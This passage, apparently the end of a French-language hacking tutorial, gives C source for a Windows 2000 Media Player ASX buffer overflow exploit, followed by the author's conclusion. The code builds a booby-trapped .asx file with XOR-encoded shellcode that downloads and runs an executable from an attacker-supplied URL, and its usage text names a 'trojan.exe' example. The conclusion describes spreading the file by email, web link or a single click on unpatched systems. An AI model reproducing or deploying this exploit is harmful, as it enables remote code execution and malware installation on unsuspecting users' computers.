"\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91"
"\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91"
"\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x91\x41\x41\x41\x41\x41\x41\x41"
"AAAAAAAAA\"/></ENTRY></ASX>\x0D\x0A"
};

int main (int argc, char **argv)
{
FILE *hf;
char *xploit;
int index;

printf("***********************\n");
printf("*** ASX exploit ***\n");
printf("*** by obscurer ***\n");
printf("***********************\n");

if(argc!=3) usage(argv[0]);

xploit=(char *)malloc(68001);
// Alloue un gros buffer pour le fichier ASX
if(!xploit)
{
printf("Error, not enough memory to build exploit\n");
return 0;
}

if(strlen(argv[2])>65)
// Faut faire gaffe que l'URL dépasse pas 66 sinon y a pas assez de place dans le buffer
{
printf("Error, URL too long to fit in the buffer\n");
return 0;
}

for(index=0;index<strlen(argv[2]);index++)
// On XOR l'Url qui est l'argument 2
shellcode[index+134]=argv[2][index]^0x20;


memcpy(xploit,header,strlen(header));
// On la copie au bon endroit dans le shellcode

for(index=strlen(header);index<(23412+strlen(header));index++)
// On remplit de 'AAAA' le buffer jusqu'au shellcode
xploit[index]=0x41;

memcpy(xploit+index,shellcode,strlen(shellcode));
// On copie le shellcode à sa place

for(index=24555;index<68000;index++)
// On remplit ce qui reste de buffer par des espaces (c'est nécéssaire)
xploit[index]=0x20;

xploit[68000]=0;
// Finit la chaine

hf=fopen(argv[1],"w");
// On ouvre le fichier ASX (argument 1)
if(!hf)
{
printf("Error, can't create file !\n");
return 0;
}

fwrite(xploit,68000,1,hf);
// On dump le buffer
fclose(hf);

printf("Done, created %s, url is http://%s\nEnjoy !\n",argv[1],argv[2]);

return 0;
}
// And it was done !



void usage(char *a)
{
printf("Arguments :\n");
printf(" %s <file> <Url>\n",a);
printf(" <file> this is the name of the ASX file to create\n");
printf(" <Url> url of the executable (do not include 'http://')\n");
printf("ex : '%s foo.asx www.myserver.com/trojan.exe' will create a corrupted asx file for the specified system that will download and execute trojan.exe\n",a);

exit(0);
}

------------------------- CUT HERE ---------------------------


VII\ Conclusion

C'est fini pour aujourd'hui, c'était plus dur que la dernière fois hein ? En fait, ça nous a permi de revoir les histoires d'API à loader, j'ai traité ça différent la dernière fois, mais là ça a plus de classe héhé :) Sinon, on a vu aussi des techniques d'encryption du code pour éviter les bytes qui nous gênent. J'espère que vous avez trouvé ça interressant ! Le fichier executable Win2KASX.exe créé donc le fichier ASX. Il suffit d'envoyer par mail ce fichier .ASX, de mettre un lien sur une page web, ou que simplement un utilisateur clique UNE FOIS dessus dans une fenêtre, pour que l'overflow se produise, plantant Media Player, ou bien explorer.exe si l'utilisateur a cliqué sur le fichier et que la description/chargement automatique dans le cadre à gauche des fenêtres est activée (par défaut). Ceci est valable pour TOUT les Windows 2000 :) Server ou Professionnal, sauf bien entendu si ils ont été patchés car Microsoft a releasé un patch il me semble. Sur ces bonnes paroles, je vous laisse, les questions, critiques (pourquoi pas mais faites gaffe je suis suscetible), ou autre, sont les bienvenues par mail.

Bein.... A+ tout le monde et bonne lecture ! Merci encore de m'avoir lu ou re-lu !

Ciao tout le monde !

"Dare to be honest, be yourself. A cowardly man......" -=Korn=-